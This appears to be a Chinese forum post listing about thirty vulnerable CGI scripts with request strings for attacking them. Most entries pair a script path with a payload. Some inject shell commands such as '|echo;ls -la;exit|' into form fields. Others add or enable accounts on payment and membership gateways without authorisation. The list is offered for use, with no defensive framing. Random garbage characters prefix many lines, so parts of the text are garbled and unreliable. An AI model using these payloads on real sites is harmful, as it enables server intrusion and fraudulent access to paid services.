Cgi-bin 30个漏洞＋使用方法

admin

==============================

* i' R# q- H& S% j" o/smspass.pl
9 \) |/ g- D/ B( w+ {username=username&password=password

. I5 ~: Q/ a  r& \* [/index.cgi
5 j4 R1 k; R0 M+ Iwei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
5 O- n3 T3 B% e! v- C8 I
/ccbill-local.asp
post_values=username:password
: ~2 F  x  a4 ?( C- V( x
* U" y  C/ p& O/ ]) O3 o) I! A/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
/recon.cgi?search
3 h7 M6 B# t4 s, o5 f; msearchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
) V* @% |7 B3 G2 Y3 J' uvercode=username:password:dseegsow:add:amount<&30>
4 q0 {9 @# G7 [! ~" d' p# W
. E1 B, Q( `, ?, P6 ~% H6 w/af.cgi
_browser_out=|echo;ls -la;exit;|

/modify.cgi
username=username&password=password&expire=30
: p( R0 N1 }" u+ K: T7 k* e
2 u. }( H( o  t& `4 h* T. q/openjournal.cgi
4 ~& g6 s8 n/ Z- ]edit=1&ct=2&go=|echo;ls -al;exit|

. ~8 Z; Z- {6 t9 i" p/gx9passwd.cgi
cmd=ADD&user=username&pass=password
  r! I2 z  `0 i: d+ o3 L
$ E. Z7 D$ u- B/probecontrol.cgi
6 A4 A, C- _' B% ycommand=enable&username=username&password=password
, q2 h, {7 q4 j) p, `0 \( G
/recon.cgi
# \' j' r6 T+ P5 C( n, Nsearchoption=3&searchfor=echo;ls -la;exit
' b7 t  v: y: [0 L6 A- n
/htadd.pl
3 A9 w7 q9 C: L8 a/ |configfile=|echo; ls -alt; exit

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

& P8 q# x, w9 f7 D/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

5 J. N  w5 A0 Q0 g/cpay.cgi
& T) q$ B5 C1 T) T9 p5 d- P$ l$ kcommand=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
  Z0 C: X# {6 S  r8 ndo=add&username=username&password=password&wpassword=password

6 B9 I- l2 `3 g$ @$ T/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
: K2 I- S0 m" d. E: {0 M( n
/addusr.pl
user=USER&pass=PASS&confirm=PASS

- }) t' V3 X; K: v/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

( i- I9 H8 v, u1 v6 s1 e7 E" x9 ], N/accountcreate.cgi
3 U6 G& d* h4 Q# l2 a* F/cgi-bin/gateway/accountcreate.cgi
6 C) K: J& I3 S3 ausername=username&password=password&password2=password&ref1=|echo;ls -al;exit
" C3 p. [* S# ?- k& U  h. P2 r
9 r! o1 Q- D1 J3 x/af.cgi
7 ?1 T- A8 u4 @' F5 T; t  G! s/env.cgi
$ g) @- s0 {, N) h; T% JADD+;echo;pwd;exit
/ q/ L, s. ]8 [; K5 B: d
/count.cgi
  i: h, z) {0 \) j3 k: J; Wpinfile=|echo;pwd;exit|

/recon.cgi
! W5 w& _: g  B! H) |, zsearchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

! ~! }* m! y- G8 k==============================
/ `7 s% l; l& T4 ~7 w